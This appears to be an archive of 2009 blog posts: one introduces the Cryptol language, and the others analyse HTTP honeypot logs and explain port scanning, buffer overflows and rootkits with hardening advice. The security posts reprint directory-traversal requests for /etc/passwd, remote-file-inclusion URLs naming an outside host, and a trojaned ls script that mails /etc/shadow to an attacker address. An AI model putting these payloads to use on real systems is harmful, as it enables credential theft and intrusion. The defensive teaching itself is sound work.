Cryptol the language of cryptography

1 04 2009

Pedro Pereira and I are working on a new project in the Masters. The second half of the Masters is composed of a single project suggested by a company. Some companies are forming partnerships in the Masters formal methods, including: the Critical software, SIG and Galois. We chose the Galois because we also are in the area of cryptography and we already knew some work of some people from this company.

The project suggested by Galois was study the Cryptol as a language of specification of cryptographic algorithms. The cipher we used for this study is the SNOW 3G (The SNOW website), later on I will talk about the specification of this cipher. In this post I am only interested to show the language.

I’m going to show you some details about the language. This post is not intend to be a exhaustive explanation of Cryptol, if you looking for that you can go directly to the manuals. This post only relates my experience, and what I like it most with the language.

Overview

Cryptol is a high-level language that is geared to deal with low-level problems. Is a Domain-specific language to design and implement cryptographic algorithms.
This language has a high percentage of correctness of the implementation of a cipher, because it implements type inference, so we can say that a big part of the language implements correctness. This correctness is also achieved thanks to the architecture of the language – functional. We don’t have side effects – a function only return something inside is codomain.
In Cryptol we have this philosophy that says that everything is a sequence. This is very useful because we are working with low level data (array of bits), so we use sequences to represent that arrays. We can have nested sequences to have a more structured representation of data. For example, we can simply transform a 32-bit sequence in a 4 1-byte sequence.
The size of this sequences could be implemented as finite or infinite, as we going to see later in this post. Because Cryptol is a high-level language we can also implement polymorphic functions, most of the primitive functions are implemented in polymorphic mode. The way we have to navigate throw the sequences is using recursion, or sequences comprehension, and with these two techniques we can implement recurrences.

If you are a Haskell programmer you just need the next section to learn Cryptol. This language is so look a like with Haskell that even the philosophy seems to have a lot in commune.

Types in Cryptol

The type [32] means that you have a sequence of 32-bit size. All the types in Cryptol are size oriented. The unit is the Bit, that you can use to represent Bool. To represent a infinite sequence we use the reserved word inf, and we write: [inf] to represent that.

If you want to generate a infinite sequence, we use the syntactic sugar of the sequences like that: [1~..]. Cryptol will infer this sequence as type

[1~..]~:~[inf][1]

That means this sequence have infinite positions of 1-bit words. The type inference mechanism will always optimize the size that he needs, to represent the information.
So, it infer the type of [100~..] as:

[100~..]~:~[inf][7]

Because, it “knows” that needs only 7-bits to represent the decimal 100. But if you need more, you can force the type of your function.
We implement polymorphism in our types, if we have:

f~:~[a]b~\rightarrow~[a]b

This means, that the function f have polymorphism over b, because we say that it domain is one sequence of size a of type b, and it codomain also. Here we could also see: f~:~[a][b]c meaning that f is a constant of sequences of size b of type c, a times.

So, lets talk about some primitive functions in Cryptol, and its types. The tail function have the following type in Cryptol:

tail~:~\{a~b\}~[a+1]b~\rightarrow~[a]b

As we can see, Cryptol is so size oriented, that we can use arithmetic operators in types. We can probably infer what this function does just from it type: tail works for all a and b such that if we have one sequence os size a+1 of type b it returns one sequence of size a of same type. In fact this function removes the first element of one sequence.

Because of this size oriented philosophy a lot of functions, that change the size of the sequences can be read just from the type.

As you can see in the following list of Cryptol primitive function:

drop~:~\{ a~b~c \}~( fin~a ,~a~\geq~0)~\Rightarrow~(a ,[ a + b ]~c )~\rightarrow~[ b ]~c
take~:~\{ a~b~c \}~( fin~a ,~b~\geq~0)~\Rightarrow~(a ,[ a + b ]~c )~\rightarrow~[ a ]~c
join~:~\{ a~b~c \}~[ a ][ b ] c~\rightarrow~[ a * b ]~c
split~:~\{ a~b~c \}~[ a * b ] c~\rightarrow~[ a ][ b ]~c
tail~:~\{ a~b \}~[ a +1] b~\rightarrow~[ a ]~b

Recursion and Recurrence

Cryptol implements Recursion, just like a lot of functional languages do.

Imagine the fibonacci function definition:

It implementation in Crytol is exactly the same as defined mathematically.

fib : [inf]32 -> [inf]32;
fib n = if n == 0 then 0 else if n == 1 then 1 else fib (n-1) + fib (n-2);

Cryptol uses recursion to permit us to iterate throw sequences.

But, If you prefer you can implement a more functional algorithm of fibonacci function in Cryptol:

fib : [inf]32 -> [inf]32;
fib n = fibs @ n;
   where {
      fibs : [inf]32;
      fibs = [0 1] # [| x + y || x <- drop (1,fibs) || y <- fibs |];
   };

Here, as you can see, we define a infinite list fibs of all the fibonacci numbers, by calling the fibs inside the sequences comprehension fibs, this is called a recurrence, and you can use that too in Cryptol.

Cryptol vs C

I’m going to show you some part of the implementation of SNOW 3G in C. This is a function called MUL_{\alpha}

MULa : [8] -> [32];
MULa(c) = join ( reverse [
   ( MULxPOW(c, 23 :[32], 0xA9) )
   ( MULxPOW(c, 245:[32], 0xA9) )
   ( MULxPOW(c, 48 :[32], 0xA9) )
   ( MULxPOW(c, 239:[32], 0xA9) ) ] );
/* The function MUL alpha.
    Input c: 8-bit input.
    Output : 32-bit output.
    See section 3.4.2 for details.
 \*/
u32 MULalpha(u8 c) {
 return
  ((((u32)MULxPOW(c,23, 0xa9)) << 24 ) |
  (((u32)MULxPOW(c, 245,0xa9)) << 16 ) |
  (((u32)MULxPOW(c, 48,0xa9)) << 8 ) |
  (((u32)MULxPOW(c, 239,0xa9)))) ;
}

You can see that in Cryptol we just say that we want to work with a 32-bit word, and we don’t need to do any shift to our parts of the word. We just join them together. We reverse the sequence, because Cryptol stores words in little-endian, and we want to keep the definition like the specification.

This is a very simple function, so the result in C is not so that different. But if we have a more complex function, we were going to start having a nightmare to write that in C.

Conclusion

Well, the conclusion is that Cryptol is a language that really help to write low-level algorithms. With Cryptol the specification is formal and easier to read than other languages. A value of Cryptol is that the code can be converted to other languages, such as VHDL and C.

If you’re interested, take a look at the presentation that we did.

References





HTTP attacks

23 01 2009

In this post I will talk about the HTTP results that I collected from the experience with one honeypot.
As you may know, I’ve been putting one honeypot running for 5 weeks. I’ve previously talked about SMTP and SSH attacks, now is the time for HTTP. This service (port 80) is by far the most fustigated service in the honeypot. And make sense, in this port we can have a lot of Web services with a lot of exploitable code running…

This chart represents the number of hit’s in the port 80, that our honeypot had during his activity:

Open Proxy’s

An open proxy is like an Open mail relay, described in SMTP attacks. Anyone in the internet can use this systems to reduce their using of the bandwidth. For example, if an open proxy is located in your country, and if your internet provider only allow you to access web pages of your country, you can use this systems to visit outside pages.
The process is quite simple, if you are under a proxy and you want a web page, the proxy go get them for you and send that to you. All the traffic and effort was made by the proxy. Is just like a forwarding service.

Here at the University we have one closed proxy, and that is great, because a lot of pages are in cache, so even we have a 1Gb connection, the proxy don’t need to get the page we want, because have it in the cache.

webcollage/1.135a

The webcollage is a program that seeks the Internet images and composes them in a window. Some have described as a pop culture program. This program makes random web searches and extract the images of the results.

There was a host that has make some hit’s in our honeypot’s, as we can see in the following extract from the file web.log:

--MARK--,"Mon Dec 15 23:09:00 WET 2008","IIS/HTTP","92.240.68.152","192.168.1.50",56886,80,
"GET http://www.morgangirl.com/pics/land/land1.jpg HTTP/1.0
User-Agent: webcollage/1.135a
Referer: http://random.yahoo.com/fast/ryl
Host: www.morgangirl.com
",
--ENDMARK--

The interesting here is that this agent is trying to get an image using our honeypot as a open proxy. The possibilities is that our honeypot as been seen by a proxy scanner in the past that have add our honeypot to an open proxy list.

Solution

We can do something, if this had happened for real. We can block the IP that made the request (92.240.68.152) to avoid future requests by this host. But the problem is not from this person who is using a program to get the images. The problem here is that we are targeted as an open proxy, and probably in the future we will be asked again to get some file.

A more comprehensive solution is to block all the requests made from this program. Adding this lines to the file “.htaccess” in the folder.

# Start of .htaccess change.
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^webcollage
RewriteRule ^.*$ - [F]
# End of .htaccess change.

This won’t prevent all the attempts to use our server as open proxy, but will prevent all the requests made by this program.

Directory traversal

A directory traversal attacks intend to exploit insufficient security validation of user-supplied input file names. The main objective of this attack is gain access to a computer file that is not intended to be accessible.

I will give you the Wikipedia example:
Imagine you have this PHP script running in your server, and this page have the name vulnerable.php:

<?php
$template = 'blue.php';
if ( isset( $_COOKIE['TEMPLATE'] ) )
   $template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>

If someone send you this request:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Your server will return your /etc/passwd file, in the response:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Admin:/home/users/phpguru/:/bin/csh

We have seen a lot of variations of this attack, as will show you after.

On 4 January 2009 dozens of hit’s were made from Lelystad, The Netherlands. These hit’s were performed to verify if our HTTP server allow directory traversal, to get the file /etc/passwd by the attacker.

In this case, the attacker wanted to acquire the /etc/passwd to perhaps have a list of the users that can access to the system. To possibly get access through any of them.

This type of attack is usually done not asking directly for the file through its conventional path, but in an encrypted way (using exa characters). With that variations it is more unlikely that the application perform validations on what the attacker wants.
Unfortunately our honeypot, not saved the log file’s during the day January 1 until 4, so we only can see in the other’s log’s the activity performed by this host. We cannot show the number of hit’s of this IP in day 4.
In the following listings I will show the pairs of command that the attacker wanted to do and the package that came to our honeypot.

GET ../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan  4 05:20:57 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59706,80,
"GET %2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--
GET .../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan  4 05:20:58 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59711,80,
"GET %2E%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--
GET ../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan  4 05:21:02 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59727,80,
"GET %2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2Fetc%5C%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--
GET ....................etcpasswd HTTP/1.1
--MARK--,"Sun Jan  4 05:21:04 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59740,80,
"GET %2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5Cetc%5Cpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--
GET //etc/passwd HTTP/1.1
--MARK--,"Sun Jan  4 05:20:59 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59700,80,
"GET %2F%2Fetc%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--

Conclusion

Possibly an attacker trying to do this in a real server would get the file he wanted, but our honeypot was not prepared to
respond to such attacks, and it only responds with a message 302:

HTTP/1.1 302 Object moved
Server: Microsoft-IIS/5.0
P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI'
Date: Sab Jan 10 21:46:17 WET 2009
Content-Type: text/html
Connection: close
Accept-Ranges: bytes
Set-Cookie: isHuman=Y; path=/
Set-Cookie: visits=1; expires=; path=/
Set-Cookie: ASPSESSIONIDCBBABCDC=DEADBEDFBDFCCEBBBA; path=/
Expires: Sab Jan 10 21:46:17 WET 2009
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="http://bps-pc9.local.mynet/">here</a>.</body>

We can conclude that the requests that were sent to our honeypot mean that the attacker was using the NSE, which means nmap scripting engine. This is a tool that comes with nmap.
Allows the user to write scripts to automate various tasks in the network.

Here we can see the script that was used to perform this attack.

Morfeus Fucking Scanner (MFS)

MFS is a scanner that search web pages with PHP vulnerabilities. This scanner has a large number of tests for known vulnerabilities in PHP scripts. Then we show some of those applications that MFS search for vulnerabilities.

WebCalendar

The WebCalendar is a web calendar that can be used by one or more users, it is possible to create groups with calendars and it supports a wide range of databases.
This application uses several PHP files, one of those id send_reminder.php that contained serious vulnerabilities, one of which allowed the inclusion of remote files through variable “includedir” that was not validated. So anyone can add whatever he want on this page.

We found that this vulnerability only affects WebCalendar version 1.0.4, this application has now in version 1.2.
While our honeypot not have this application installed, although there were made some attempts to attacks on this application, two of them over the vulnerability of this file, as the log show’s.

--MARK--,"Wed Dec 24 16:07:29 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",54941,80,
"GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Morfeus Fucking Scanner
Host: 82.155.248.190
Connection: Close
",
--ENDMARK--
--MARK--,"Wed Dec 24 16:07:30 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55003,80,
"GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Morfeus Fucking Scanner
Host: 82.155.248.190
Connection: Close
",
--ENDMARK--

This scanner (MFS) scans a list of hosts and attempts to link up several times until the server be attacked.
In our case this type of request on port 80 only returns a 404 error.

The gif file that the attacker wants to include just print a message:

echo (" Morfeus hacked you ");

Conclusion

Although this file has been fixed in this application, the truth is that this scanner continues to include this as a test. The reason for this is that still have many applications with this vulnerability exposed on the Internet.

Mambo/Joomla

The CMS Mambo is very popular and used worldwide. The Joomla is a derivative of the first one. In this applications have been discovered many bugs, MFS seems to use some of them. We saw one in particular:

--MARK--,"Wed Dec 24 16:07:34 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55438,80,
"GET /shop/index.php?option=com_registration&task=register//boutique/index2.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Morfeus Fucking Scanner
Host: 82.155.248.190
Connection: Close
",
--ENDMARK--

The attacker wants to set the variable mosConfig_absolute_path from the file index.php with the typical message that has already explained above. What we find is that the input passed to this file in not validated before being used to include files.
This system can be victim of one attack by allowing run code from any source without ever make payable checks.

Prevent attacks from MFS

One way to block this type of attacks from MFS is to add the following lines of code in file. “htaccess” in the folder of the website.

# Start of .htaccess change.
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Morfeus
RewriteRule ^.*$ - [F]
# End of .htaccess change.

Outroduction

Note that the “.htaccess” solutions that I gave only works for HTTP servers that use Apache. Users of IIS can use the IsapiRewrite tool.

References





Tracing the attack – Part II

22 01 2009

Intro

This post is the continuation of Tracing the attack – Part I. And this post is the final one, of this stack.
Here I’m gonna to talk about the Heap/BSS Overflow and Rootkits.

Heap

In the Stack, the memory is allocated by kernel (as explained in Part I). In the other hand the Heap is a structure where the program can dynamically allocate memory. With the use of malloc(), realloc() and calloc() functions.

BSS segment

BSS stands for Block Started by Symbol and is used by compilers to store static variables. This variables are filled with zer-valued data at the start of the program. In C programing language all the not initialized and declared as static variables are placed in the BSS segment.

Heap/BSS Overflow

As a simple example, extracted from w00w00 article, to demonstrate a heap overflow:

   /* demonstrates dynamic overflow in heap (initialized data) */
   #define BUFSIZE 16
   #define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

   int main()
   {
      u_long diff;
      char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

      diff = (u_long)buf2 - (u_long)buf1;
      printf("buf1 = %p, buf2 = %p, diff = 0x%x bytesn", buf1, buf2, diff);

      memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '';

      printf("before overflow: buf2 = %sn", buf2);
      memset(buf1, 'B', (u_int)(diff + OVERSIZE));
      printf("after overflow: buf2 = %sn", buf2);

      return 0;
   }

Now, when we execute this code with parameter 8:

   [root /w00w00/heap/examples/basic]# ./heap1 8
   buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
   before overflow: buf2 = AAAAAAAAAAAAAAA
   after overflow: buf2 = BBBBBBBBAAAAAAA

This works like that, because buf1 overruns its boundary and write data in buf2 heap space. This program don’t crash because buf2 heap space still a valid segment.

To see a BSS overflow we just have to replace the:
‘char *buf = malloc(BUFSIZE)’, by: ‘static char buf[BUFSIZE]’

If the heap is non-executable that will prevent the use of function calls there. But even so, that won’t prevent heap overflows.

I won’t talk anymore about that subject in this post, if you want to learn more about that you can see the w00w00 article, and some-more from the references section (at the end of this post).

Rootkits

After gaining access the target machine (using an exploit for example), the attacker must ensure will continue to have access even after the victim has fixed the vulnerability, and without it knows that the system remains compromised. And the attacker can achieve this through the installation of a rootkit on the target machine.
A rootkit is basically a set of tools (backdoors and trojan horses) designed with the aim to provide absolute control of the target machine. A backdoor is a way to authenticate a legitimate machine, providing remote access the same while trying to remain undetected. For example, you can take the form of a program or a change in a program already installed. A trojan horse (or just textittrojan) is usually a program that supposedly plays a role but which actually also plays other malicious functions without the knowledge of the victim.
Then we show a very simple example of a bash script that creates a possible trojaned ls:

#!/ bin/bash
mv /bin/ls /bin/ls.old
/bin/echo "cat /etc/shadow | mail attacker@domain.com" > /bin/ls
/bin/echo "/ bin/ls.old" >> /bin/ls
chmod +x /bin/ls

It is clear that we are not considering the fact that the ls can receive arguments, this is just for example purposes. And is good to show an example of the objective of a trojan.

Usually the use of a real trojan would install a modified versions of several binary (lsof, ps, etc). The idea of changing this programs is to hide the trojan itself. With a ps changed command, the user could not see the trojan process running.

Here is a list of the changed programs when you install Linux Rootkit 4:

bindshell	port/shell type daemon!
chfn		Trojaned! User > r00t
chsh		Trojaned! User > r00t
crontab     Trojaned! Hidden Crontab Entries
du		Trojaned! Hide files
find		Trojaned! Hide files
fix		File fixer!
ifconfig	Trojaned! Hide sniffing
inetd		Trojaned! Remote access
killall		Trojaned! Wont kill hidden processes
linsniffer	Packet sniffer!
login		Trojaned! Remote access
ls             Trojaned! Hide files
netstat      Trojaned! Hide connections
passwd	Trojaned! User > r00t
pidof		Trojaned! Hide processes
ps		Trojaned! Hide processes
rshd		Trojaned! Remote access
sniffchk	Program to check if sniffer is up and running
syslogd	Trojaned! Hide logs
tcpd		Trojaned! Hide connections, avoid denies
top		Trojaned! Hide processes
wted		wtmp/utmp editor!
z2		Zap2 utmp/wtmp/lastlog eraser!

There are many rootkits over the network, the most common, compromise Windows and Unix systems.

Detecting and removing rootkits

When someone suspect that his system have been compromised, the best thing wold be use some tool to detect and remove rootkits. We have, for Linux: chkrootkit and rkhunter and for Windows you can use the RootkitRevealer.

As curious, I would like to mention that in 2005, Sony BMG put a rootkit in several CDs of music that is self-installed (without notice) on computers where the CDs were read, for more about this.

Outroduction

As we saw, an attacker start of using a scanner against a particular range of ip’s, would then see if there are services available, then do a dictionary attack using the country’s victim language, extracted from the IP. Or could also detect vulnerabilities in the system, that he could use to gain access. After having access to the computer the attacker terminate by installing a rootkit to gain permanent access to this system.

As a bonus I also explain some minimalistic examples of how can someone, that have physical access to a system, can gain root access to it exploiting some programs that are running in that system.

This area is so vast that is still impossible to predict the ways to do an attack. Imagine that an attacker gain access to a computer, but they don’t have root credentials. Attackers probably will try to exploit some programs that are running in that systems…

References





Tracing the attack – Part I

21 01 2009

Intro

In this post I will talk about some of the techniques used to attack systems, and some solutions that can reduce much the number of attacks that a system may suffer. A vision to the attack from scanning to gain root in one system.
This work is a continuation of my work on honeypots. The attacks presented here could be seen in a honeypot of high activity, real systems that have known vulnerabilities. Unfortunately I used one low activity honeypot in previous posts, emulation of vulnerabilities, so I just could not get to identify some of the attacks mentioned herein.
This post continues in Part II.

Starting

First let me talk about the profile of the principal threat that we face from the moment
we use the Internet, the Script Kiddie.
To a Script Kiddie not interest who is he attacking, its only purpose is to gain root access in a machine. The problem is that for helping him he has several tools that automate all the process, the only thing that usually has to do is put the tool to scan the entire Internet.
Sooner or later it is guaranteed that he will get access in some machine.
The fact that these tools are becoming more known ally to randomness searches, this threat is extremely dangerous because it is not “if” but “when” we will be victims of a search.

I introduced the “who”, now let me introduce the “how”. Before starting any type of attack, the enemy must find that machines are online and their ports (services) that are open to the outside.
This technique is called Port Scanning

Port Scanning

Port Scanning is used both by system administrators and by attackers, the first thing to determine the level of security of their machines; seconds to find the vulnerabilities as I said before.
I will give special focus to this technique because it domain is essential in both situations.

Basically a Port Scan is send a message to each port of a machine and depending on what kind of response we get determine the status of the port.

These possible state ports are:

  • Open or Accepted: The machine has sent a response to indicate that a service that is listening port
  • Closed, Denied or Not Listening: The machine has sent a response to indicate that any connection the port will be denied
  • Filtered, Dropped or Blocked: There was no response from the machine

Just a note on the legality of this technique: in fact Port Scanning can be seen as a bell to ring to confirm if someone is home. Nobody can be accused of nothing just for doing a Port Scan. Now if we are playing constantly on the bell, could be alleged the similarity to a denial of service (for more about legal issues related to Port Scanning).

Now we are ready to see the most popular techniques in Port Scanning.

TCP SYN scan

The SYN scan is the most popular because it can be done in a very quick way, searching thousands
of ports per second on a network (fast network and without firewalls). This kind of scan is relatively discreet because they never complete TCP connections. It also allows a distinct differentiation between the states of ports with a good confidence.
This technique is also known as semi-open scan because it never gets to open a complete TCP connection. It is sent a SYN packet (the beginning of a normal complete connection) and expects a answer. If it receives a SYN/ACK, the port is Open, if it receives a RST, the port is Closed, and if there is no response after several retransmissions of the SYN, the port is marked as Filtered.
This last scenario repeats itself in the event of an ICMP Unreachable Error.

Normal scenario (client send a SYN, server reply with SYN/ACK, and client send an ACK):

TCP SYN attack (client send a SYN, server reply with SYN/ACK, and client do nothing):

This technique is used when the user does not have privileges to create crude packets (in nmap for example, you must have root privileges to this option.) Rather than be sent in “custom” packets as in all other techniques mentioned here, it established a complete TCP connection in the target machine port. This causes a considerable increase of time for giving same information as the previous technique (most packets are produced). In addition, most operative systems log these connections, because it is not a quick or silent scan. On Unix, for example, is added an entry in syslog.

UDP scan

A UDP scanis much slower than a TCP one, one of the reasons why many systems administrators ignore the security of these ports, but not the attackers.
This technique consists in sending an empty UDP header (no data) to all target ports. If an ICMP Unreachable Error is returned, depending on type and code of error is given the port state (Closed or Filtered). However if returned another UDP header, then the port is Open, if not received any response after the retransmissions of the header, the port is classified as a combination of Open or Filtered because may be in a state or in the other.

But as I said the greatest disadvantage of this technique is the time spent on scan; Open or Filtered ports rarely respond which can lead to several retransmissions (because it is assumed that the packet could have been lost). Closed ports are an even bigger problem because normally respond with ICMP Unreachable Errors and many operative systems limit the frequency of ICMP packets transmission, as a example in Linux that normally limited to a maximum of one package per second.

Faced with such constraints, if we were to the full range of ports of a machine (65536 ports) it will take more than 18 hours. Some optimizations can pass through the more common ports.

There are many others techniques used in Port Scanning (more information: here) but this ones come to show the behavior of this type of scan. It is easy to see why it is a critical process for an attacker methodology. For the correct identification of the target, only one technique can not be the most appropriate/enough.
So the Port Scanning area is not only making TCP SYN scans.
The tool I recommend to Port Scanning is the Nmap because it supports all these techniques that I said, and a lot more. This tool is being actively developed, and the author Gordon “Fyodor” Lyon is a guru in this area and highly responsible for the constant development of it.

For more information about Port scanning go to Nmap page explaining Port Scanning Techniques.

Gain access to the machine

At this time the attacker already has a huge list of reachable machines and services. Now to get remote access on a machine, in essence, we can use two techniques: brute-force/password dictionaries (see the Infinite monkey theorem).

It may seem silly but it is still heavily used in services such as SSH. As you can see in your /var/log/auth.log file…

Dec 24 01:24:46 kubos sshd[23906]: Invalid user oracle from 89.235.152.18
Dec 24 01:24:46 kubos sshd[23906]: pam_unix(ssh:auth): check pass; user unknown
Dec 24 01:24:46 kubos sshd[23906]: pam_unix(ssh:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.235.152.18
Dec 24 01:24:48 kubos sshd[23906]: Failed password for invalid user oracle from 89.235.152.18 port 48785 ssh2
Dec 24 01:24:49 kubos sshd[23908]: reverse mapping checking getaddrinfo for 89-235-152-18.adsl.sta.mcn.ru [89.235.152.18] failed - POSSIBLE BREAK-IN ATTEMPT!

Dec 24 01:26:01 kubos sshd[23963]: Invalid user test from 89.235.152.18
Dec 24 01:26:01 kubos sshd[23963]: pam_unix(ssh:auth): check pass; user unknown
Dec 24 01:26:01 kubos sshd[23963]: pam_unix(ssh:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.235.152.18
Dec 24 01:26:04 kubos sshd[23963]: Failed password for invalid user test from 89.235.152.18 port 57886 ssh2
Dec 24 01:26:05 kubos sshd[23965]: reverse mapping checking getaddrinfo for 89-235-152-18.adsl.sta.mcn.ru [89.235.152.18] failed - POSSIBLE BREAK-IN ATTEMPT!

Dec 24 01:26:21 kubos sshd[23975]: Invalid user cvsuser from 89.235.152.18
Dec 24 01:26:21 kubos sshd[23975]: pam_unix(ssh:auth): check pass; user unknown
Dec 24 01:26:21 kubos sshd[23975]: pam_unix(ssh:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.235.152.18
Dec 24 01:26:22 kubos sshd[23975]: Failed password for invalid user cvsuser from 89.235.152.18 port 59883 ssh2
Dec 24 01:26:24 kubos sshd[23977]: reverse mapping checking getaddrinfo for 89-235-152-18.adsl.sta.mcn.ru [89.235.152.18] failed - POSSIBLE BREAK-IN ATTEMPT!

And these are just some of the hundreds of attempts that it recorded.
I will then present some strategies for protection against these attacks:

Use strong passwords

This section may seem ridiculous but the fact that this type of attack is used demonstrates the lack of choice of passwords culture.
Here are some requirements to define a strong password in today times:

  • A password should have, a minimum of 8 characters
  • If the password can be found in a dictionary is trivial and is not good. Attackers have large dictionaries of words in different languages (via IP, for example, can determine the dictionary to use)
  • As trivial variations of trivial passwords, such as “p4ssword” is almost as bad as “password” in a dictionary attack but is substantially better in an brute-force attack
  • The password should ideally be a combination of symbols, numbers, uppercase and lowercase
  • Mnemonic are easy to remember (even with special symbols) and this is the best kind of passwords, such as “Whiskey-Cola is EUR 3 in Academic Bar!” = “W-CiE3iAB!” (this password is Very String according to The Password Meter)

The fact is, using strong passwords can prevent the success of the attempt but not prevent the numerous attempts that are made consistently. And in an extreme situation might be suffering Denial of Service attacks (it is imperative to avoid this on a machine whose purpose is to offer the service to the outside).

Not mentioned the fact that we can limit the number of connections established in the port 22 (SSH) through iptables.

Using iptables to mitigating the attacks

We can limiting the access to a single source:

iptables -A INPUT -m state --state NEW -m tcp -p tcp -s 192.168.1.100 --dport 22 -j ACCEPT

The -s flag is used to indicate the source host ip.
We can also restrict the access to some sub-net, or some IP class address with this flag:

iptables -A INPUT -m state --state NEW -m tcp -p tcp -s 192.168.1.0/24 -dport 22 -j ACCEPT

If we want access our machine from everyware we might want to limit our server to accept, for example, 2 connections per minute:

iptables -N SSH_CONNECTION -A INPUT -m state --state NEW -p tcp --dport 22 -j SSH_CONNECTION -A SSH_CONNECTION -m recent --set --name SSH -A SSH_CONNECTION -m recent --update --seconds 60 --hitcount 3 --name SSH -j DROP

We can create a new chain called SSH_CONNECTION. The chain uses the recent module to allow at maximum two connection attempts per minute per IP.

RSA authentication

To avoid the use of passwords, we can use a pair of RSA keys completely avoiding brute-force/dictionaries attacks.
To do this we will do the following steps:
Generate the key pair with the command

ssh-keygen-t rsa

This command create the files:
~/.ssh/id_rsa (private key) and ~/.ssh/id_rsa.pub (public key).
In each machine where we want to connect (target), put the “id_rsa.pub” generated in ~/.ssh/authorized_keys concatenate the contents of this form for example:

cat id_rsa.pub >> ~/.ssh/authorized_keys

In each machine where we want to call (home), put the “id_rsa” in ~/.ssh/
Only missing off the password-based login to add the line “PasswordAuthentication no” in /etc/ssh/sshd_config and then restart the daemon “sshd” through:

/etc/init.d/sshd restart

Exploitation of vulnerabilities

Now that we reduce the chances of being attacked, let’s see another way that attackers use to gain access into a system.
Exploit is the name given to a piece of code used to exploit flaws in applications in order to cause a behavior not previously anticipated in them. Thus is common, for example, gaining control of a machine or spread privileges.
A widely used type of exploit is stack smashing which occurs when a program writes a memory address outside their allocated space for the structure of data in the stack, usually a buffer of fixed size. Take a very simple example of local implementation of this exploit:

# include
# include 

int main(int argc , char *argv []) {
         char buffer [10];
         strcpy (buffer ,argv [1]);
         printf ( buffer );
         return 0;
}

When we try to execute the above code, we get:

user@honeypot :~$ gcc exploit .c -o exploit
user@honeypot :~$ ./ exploit thisisanexploit
*** stack smashing detected ***: ./ exploit terminated
thisisanexploitAborted

As we can see, GCC has introduced mechanisms for blocking implementation of code potentially malicious. But this example is as simple as possible. More sophisticated attacks against systems can avoid this mechanisms.

The stack

When a function is called, the return value must be addressed, and it address must be somewhere saved in the stack. Saving the return address into the stack is one advantage, each task has its own stack, so each must have its return address. Another thing, is that recursion is completely supported. In case that a function call itself, a return address must be created for each recursive phase, in each stack function call.
For example, the following code:

/** lengthOf  returns the length of list  l  */
public int lengthOf(Cell l) {
  int length;

  if ( l == null ) {
    length = 0;
  }
  else {
    length = 1 + lengthOf(l.getNext());
  }
  return length;
}

Will produce the following stacks:

The stack also contain local data storage. If any function declare local variables, they are stored there also. And may also contain parameters passed to the function, for more information about that.

GCC and Stack canary’s

If you wondering why a canary.
GCC, and other compilers insert in the stack known values to monitor buffer overflows. In the case that the stack buffer overflows, the first field to be corrupted will be the canary. Forward, the sub-routines inserted into the program by GCC verify the canary field and verify that this as changed, sending a message “*** stack smashing detected ***”.
For more information about this subject.

Stack corruption

